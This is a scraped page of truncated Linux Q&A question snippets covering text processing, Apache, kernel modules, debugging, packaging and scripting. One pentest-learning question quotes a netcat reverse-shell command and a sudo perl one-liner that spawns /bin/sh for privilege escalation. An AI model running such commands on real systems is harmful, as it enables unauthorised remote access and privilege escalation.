Linux Perl (or something else) - ^M problem

I'm trying to add " at beginning and ", at end of each non-empty line of text file in Perl. perl -pi -e 's/^(.+)$/\"$1\",/g' something.txt It adds " at beginning of each non-empty line, but i have problem with ",. Example input: bla bla bla blah That's output i'm getting: "bla ", "bla bla ", "blah ", And that's output i actually want: "bla", "bla bla", "blah", How do I fix this? Edit: I opened my output file in vim now (I opened it in kwrite before so it wasn't visible) and I notic

Linux apache mod_rewrite mod_proxy subdomain to dir

i have a domain as front end, and i have many servers having front end servers like what i want in the background will access so = this code will handle any access to directory /games will access the backend server <Location /games> ProxyPassReverse ProxyPassReverse RewriteEngine On RewriteRule games(.*)$$1 [QSA,P,

Linux Runtime integrity check of executed files

I just finished writing a linux security module which verifies the integrity of executable files at the start of their execution (using digital signatures). Now I want to dig a little bit deeper and want to check the files' integrity during run-time (i.e. periodically check them - since I am mostly dealing with processes that get started and run forever...) so that an attacker is not able to change the file within main memory without being identified (at least after some time). The problem here

Linux How do I count the number of occurrences of a string in an entire file?

Is there an inbuilt command to do this or has anyone had any luck with a script that does it? I am looking to count the number of times a certain string (not word) appears in a file. This can include multiple occurrences per line so the count should count every occurrence not just count 1 for lines that have the string 2 or more times. For example, with this sample file: blah(*)wasp( *)jkdjs(*)kdfks(l*)ffks(dl flksj(*)gjkd(* )jfhk(*)fj (*) ks)(*gfjk(*) If I am looking to count the occurrenc

Linux Can upstart expect/respawn be used on processes that fork more than twice?

I am using upstart to start/stop/automatically restart daemons. One of the daemons forks 4 times. The upstart cookbook states that it only supports forking twice. Is there a workaround? How it fails If I try to use expect daemon or expect fork, upstart uses the pid of the second fork. When I try to stop the job, nobody responds to upstarts SIGKILL signal and it hangs until you exhaust the pid space and loop back around. It gets worse if you add respawn. Upstart thinks the job died and immediat

Linux Use wc on all subdirectories to count the sum of lines

How can I count all lines of all files in all subdirectories with wc? cd mydir wc -l * .. 11723 total man wc suggests wc -l --files0-from=-, but I do not know how to generate the list of all files as NUL-terminated names find . -print | wc -l --files0-from=- did not work.

linux gcc linked executable missing static definition of stat64

A linux stat64 call is supposed to end up calling xstat64 with a static version of stat64 generated that passes a version along with the call. We are seeing a condition where a C linked (gcc) version of code that calls stat64, when linked against an older version of a (C++ linked) shared library (, that uses stat64, but isn't supposed to provide it), is not ending up with a the "proper" static version of this stat64 call. The C++ linked app has what we expect: 00000000004007c8 <

Linux Understanding GDB and Segfault Messages

I was recently debugging an application that was segfaulting on a regular basis--I solved the problem, which was relatively mundane (reading from a null pointer), but I have a few residual questions I've been unable to solve on my own. The gdb stack trace began like this in most cases: 0x00007fdff330059f in __strlen_sse42 () from /lib64/ Using information from /proc/[my proc id]/maps to attain the base address of the shared library, I could see that the problem occurred at the same

Linux Find maximum length of silence throughout an audio file

I need to find the maximum length of silence in any audio file, but throughout its duration, i.e., not only at the beginning or end. I've got a method to trim complete silence from file, by which I can get the length of silence using subtraction on the resulting lengths. However, I need to eliminate only continuous silence, so that I can compare them to the maximum silence duration. Here is what I have so far: val1=`sox --i -D 123left.wav` val2=`sox --i -D 123lefttrim.wav` sum=0 total=`echo "$

yum in linux not working

I try to install passenger in my linux. And, when I use yum update Response is Loaded plugins: priorities, security, update-motd, upgrade-helper amzn-main | 2.1 kB 00:00 amzn-main/primary_db | 2.4 MB 00:00 amzn-updates | 2.3 kB 00:00 amzn-updates/primary_db | 700 kB 00

Linux Shell script to extract 2 values from all files?

I have a directory full of files like this: [Location] state=California city=Palo Alto [Outlet] id=23 manager=John Doe I want to write a small script, that outputs one line for each file like this: John Doe,Palo Alto How do I do that? I suspect some grep and looping. So far I have: #!/bin/bash echo Manager,City > result.txt for f in *.config do cat "$f" | grep manager= >> result.txt cat "$f" | grep city= >> result.txt done but that's of course incomplete since grep r

Re-scan LUN on Linux

We have expend existing LUN size on EMC Storage and now i want to re-scan on Host side but i don't know how to figure out SCSI ID of that specific LUN. I am new to storage.. This is what i am doing but don't know whether it is a right way or not Pseudo name=emcpowerj CLARiiON ID=APM00112500570 [Oracle_Cluster] Logical device ID=200601602E002900B6BCA114C9F8E011 [LUN01] state=alive; policy=CLAROpt; priority=0; queued-IOs=0; Owner: default=SP A, current=SP A Array failover mode: 1 =========

Linux How do screenshots work from a software perspective

How does a screenshot work from a system perspective. I've tried doing some searching, and it seems like all the sites I find are "how do I take a screenshot". I am more interested in how the operation a screenshot works, Suppose I build my own little device that has a screen, and the data is being displayed on the screen, how would one implement a screenshot (high level, although if you want I suppose an example would be nice), on my device. EDIT: I see that I had a request to close, I suppo

Completed job run times linux

I am running a series of very long jobs. So far one has completed but I forgot to check how long it was running for before it finished. Is there a way to find out how long a completed process took in linux?

Linux listen to a conversation using port forwarding

I have been able to make a call using SIP client Pjsua from one linux computer to another one. in case you have not heard of this user agent, explaining it's functionality is quite easy. It uses IP and port number of each linux to create a unique ID and then calling to this specific ID is possible. Now i have not studied port forwarding so thoroughly but i suppose what it does is to forward whatever data that comes in it, to another "port" or "IP and port". So i thought to myself if my calling a

Linux low level driver - how to receive multiple commands for a device

I had written a linux scsi low level driver for cdrom. Am able to receive commands one by one from application and am testing it using sg3-utils. Now I want to receive more than one command while serving the first one.? for this I tried changing the struct scsi_host members can_queue and cmd_per_lun to some big values like 40, even though not able to receive multiple commands. Is there any way to test multiple command reception in existing drivers like scsi_debug ?

Linux How to do server updates on Google Compute Engine?

I want to be able to keep up on server updates/patches on my Google Compute Engine instance. In comparison, when logging into an Amazon EC2 server over a terminal, they tell you there are updates available and you simply do # yum install updates. Done! Upon login to Google's Compute Engine (GCE), there is no indication. When doing a # yum install updates, it goes out to check and always comes back with no updates. From what I can gather, it may be necessary to check more or better repositori

Linux watch dog - change the noway out config at runtime

Using the /dev/watchdog seems to only be effective for monitoring another process, as without the CONFIG_WATCHDOG_NOWAYOUT option set when compiling the kernel a crash in the monitoring/watchdog process will cause the OS to clean up and close the file. Thus stopping the watch dog. There are of course many types of crashes and failures that benefit from the no way out option. If I don't have control over the kernel in use (i.e. I can't change to one configured with the no way out option), is th

How to get printer dialog in GVim on Linux?

Sometimes I like to print some code to understand it. Clicking on the Print button in GVim on Linux prints to the default printer with some default settings. How can I get the standard printer dialog when I want to print from GVim? This is so that I can choose a printer (from multiple printers available on the work network) and change other print settings (duplex, pages per side, etc).

Linux Double vlan tagged packet handling by IXGBE driver

I have a setup where the a vlan tag is added by the switch to an already tagged packet. Size of the packet entering the switch is 1518 bytes( including ethernet and VLAN tag), the switch adds an additional vlan and the size of the packet becomes 1522 bytes. The MTU of the interface at the receiving interface is 1500(Linux box). The ixgbe driver is dropping the packets at the receiving interface as long_length_errors. I checked the code, and ixgbe allows packets of maximum size (MTU+ethernet h

Linux How to rename multiple files at once

I have lots of files, directories and sub-directories at my file system. For example: /path/to/file/test-poster.jpg /anotherpath/my-poster.jpg /tuxisthebest/ohyes/path/exm/bold-poster.jpg I want to switch all file names from *-poster.jpg to folder.jpg I have tried with sed and awk with no success. little help?

Linux How to find the heap memory usage of a process?

I would like to find out the size of heap memory being used by a process. I used the following command, which gives some information about heap memory, but it is unclear if it produces the result I am after. \$ fgrep '[heap]' maps 01538000-01ce2000 rw-p 00000000 00:00 0 [heap] I would appreciate your help. Thanks.

Which Destop notifier does daemons like net manager use in linux?

I am trying to show notification messages from my desktop background application using notify-send command. But I came to know that it won't work across the users i.e I am running my daemon as a root user and notify-send is not showing any notification. When I run my daemon as a non-root user, notify-send working as expected. Is there any way that notify-send works irrespective of users.And How the standard daemons like net-manager in Ubuntu shows the notifications on desktop when internet is co

Linux Ignoring requests to images etc. when greping server logs

I'm looking to pull out various metrics from some server logs. The first is the total number of requests to just pages, not images, CSS files etc. So I want to include requests like: - - [01/Apr/2016:22:40:09 +1100] "GET /bad-credit-loans/abc/ HTTP/1.1" 200 7532 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +" but ignore requests like: - - [01/Apr/2016:23:00:55 +1100] "GET /assets/img/lenders/png/insurance.png HTTP/1.1" 200 17866 "

Linux How to make VirtualBox VM share case sensitive?

As you all know, Linux filenames are case-sensitive whereas Windows (NTFS) are not. For our development systems, we use a Windows 10 host and a CentOS VM in VirutalBox. One thing VirtualBox can do is map your host drive to a virtual network share inside a Linux VM in VirtualBox, so that it can access the host filesystem when needed. When it does this, however, the filenames become case-insensitive: [webadmin@localhost images]$ ll SurveyResultsBanner.png -rwxrwx--- 1 root vboxsf 18146 Aug 25 20

Linux Move all files at one level up one level

I had a problem with a backup on a linux server that somehow moved all folders of files down one level into a new folder with the same name. I would like to return all files to their original location. Many of the files have spaces in their names to complicate things. Original directory structure: backup/folder 1/file 1 backup/folder 1/file 2 backup/folder 1/subfolder/file A backup/folder 2/file 1 ... Incorrect directory structure: backup/folder 1/folder 1/file 1 backup/folder 1/folder 1/

Linux set_mempolicy from a different process

For NUMA machines, Linux provides the set_mempolicy system call that allows a process to define its preferred NUMA node for memory allocations. Is there some similar function that allows to change the memory policy of another running process? So something like this set_mempolicy(pid, ...) where pid corresponds to a different running process? Note, that the other process (the one I want to change its memory policy) is already running and I have no control over it. So a solution like this: set

Linux How env="HOSTARCH" from the is interpreted

Could you help me to undrestand the following points: 1- How the following line env="HOSTARCH'from the root of buildroot is interpreted: config BR2_HOSTARCH string option env="HOSTARCH" 2- The value of BR2_HOSTARCH from the graphical view after a make menuconfig is x86_64, how does it get assigned ? 3- Why when I grep BR2_HOSTARCH in the .config I can't find it?

Linux Service docker start not work(daemon), ubuntu-15.10, To run dockerfile with intelliJ

I have installed docker on ubuntu 15.10 but it does not start, these are the console outputs, I'm new with this from docker, try installing docker from this tutorial My interest is to be able to run my dockerfile from intellij service docker start root@rubnPC:/var/lib/docker# service docker start Job for docker.service failed because the control process exited with error code. See "systemctl status docker.service" and "journalctl -xe"

Linux Unable to get Libre Office to load on redhat 6. Get stuck at the splash screen

This recently starting happening. I had been happily using libre office previously. I have tried rebooting and re-installing libre office with no effect. Using version of libre office. Using Redhat 6 version 2.6.32-642.15.1.el6.x86_64. Process status shows jgaer@ljgaer1_/tmp/RPMS: ps -eafl | grep libre 0 S jgaer 5860 1 0 80 0 - 75116 futex_ 04:33 ? 00:00:00 /opt/libreoffice5.3/program/oosplash --calc 0 S jgaer 5878 5860 0 80 0 - 202475 futex_ 0

Linux I want to automate my angular build using pos-receive in background process

I want to automate my angular build using pos-receive and i want it to run in backgound process so I will not wait to finish the command. I tried the following the following code on my post-receive but it doesn't work. post-receive #!/bin/bash git --work-tree=/var/www/ --git-dir=/var/repo/ checkout -f master cd /var/www/ ng build --prod >/dev/null 2>&1 & I also tried to create a separate executable script on usr/local/bin

Linux Play an MP3 file as it's being written

I'm saving an fm station to an mp3 file using rtl_fm and sox. rtl_fm to capture the signal and sox to transcode it to mp3. rtl_fm -M wbfm -f 88.1M -d 0 -s 22050k -l 310 | sox -traw -r8k -es -b16 -c1 -V1 - -tmp3 - | sox -tmp3 - some_file.mp3 Then I'm trying to play that file in a second terminal, as the mp3 is being written using: play -t mp3 some_file.mp3 The problem is that it only plays up until the time the mp3 had at the time the play command was invoked. How do I get it to play

Linux Can't connect to Anyconnect via cron

I am trying to automate my system to connect to a client's VPN for a couple hours every night. The client requires us to us Cisco's Anyconnect VPN Client, but we're having some difficulties. I've made an executable bash script to automatically launch the VPN client, enter user/pass, etc., and what I'd like to do is run the script automatically each night using cron. If I just run the script manually, everything works just fine, and the VPN connects right up. But running the script using cron

Linux Configure QEMU (Guest Debian-9.0 Sparc64 - Host MacOS High Sierra) to do ssh from guest to host

Firstly, with a QEMU Virtual Machine (Debian Sparc64 Etch 4.0), I have been able successfully to get ssh and scp commands from Guest to Host (MacOS Hight Sierra OS 10.13.3). I wanted only to transfer files between guest and host. To get it, I have followed this tutorial : 1) I have installed TUN/TAP drivers 2) Launching QEMU like this : qemu-system-sparc -boot c -hda debian_etch.img -m 512M -net nic -net tap,script=no,downscript=no 3) Once VM booted, do on MacOS host : ifconfig tap0 19

Installing SDL2 Development version on Ubuntu Linux

I am trying to install SDL2 on Linux Ubuntu 18.04. However there are 2 types of packages available on the repository, the 'normal' library version and the development files version. libsdl2-2.0-0/bionic-updates,bionic-security 2.0.8+dfsg1-1ubuntu1.18.04.4 amd64 Simple DirectMedia Layer libsdl2-dev/bionic-updates,bionic-security 2.0.8+dfsg1-1ubuntu1.18.04.4 amd64 Simple DirectMedia Layer development files What I am asking is are there differences between the two version for developing ap

Linux Using /bin/ in some pentest situations

During my Pentester learning, I have noticed a lot about using /bin/ in some situations and in certain commands, such as in a reverse shell: nc -nv 1234 -e /bin/bash and for example, when it comes to climbing privileges on a machine: sudo /usr/bin/perl -e 'exec "/bin/sh"' I tried to search the internet and watch several videos, but they never explain how this folder works in these situations, WHY I need to run /bin/bash at reverse shell time, or why /bin/perl and /bin/sh was used

Linux How is the libs path "/run/opengl-driver" injected into Nix binaries like compton

First I am not really comfortable with ELF and all this library linking process. But after having played a bit with Nix/NixOS, there is something I still don't really understand with the way graphic drivers are linked into binaries. One of the designs of Nix/NixOS is that the OpenGL driver cannot be part of the reproducible environment because it will depend on the target hardware. Most Nix programs find OpenGL drivers into "/run/opengl-driver/lib". In the case of a NixOS system, drivers are

Linux Include read-only segments of shared libraries in core dump created by GDB gcore

I used gdb to produce core dump file with gcore and used the dump in symbolic execution. However I found it did not include read-only segments in memory, for example, the loaded library Unfortunately, I need it for symbolic execution. Is there a way to make core dump also include those read-only segments? EDIT: I changed value in /proc//coredump_filter to 0x3c to allow: " Dump file-backed shared mappings" according to core(5). However, gcore now gives dozens of warnings: warnin

Linux bash error popping up in elementary os suddenly

bash: /home/kartik/.bashrc: line 171: syntax error near unexpected token `apt='apt-fast'' bash: /home/kartik/.bashrc: line 171: `esacalias apt='apt-fast'' It was running fine earlier. It just started popping up recently. I really didn't do much. im new to elementary os. I can really use some help right now. thanks

Linux avoid kex_exchange_identification error in git

I write a script in linux that run git pull origin master for multi folder, in 5th folder its return error : kex_exchange_identification: read: Connection reset by peer fatal: Could not read from remote repository. ther is my script : #!/bin/bash FOLDERS[0]="alpha" FOLDERS[1]="beta" FOLDERS[2]="gamma" FOLDERS[3]="landa" FOLDERS[4]="sigma" FOLDERS[5]="delta" FOLDERS[6]="etta" cd / for item in "${FOLDERS[@]}" do

  1    2   3   4   5   6  ... 下一页 最后一页 共 476 页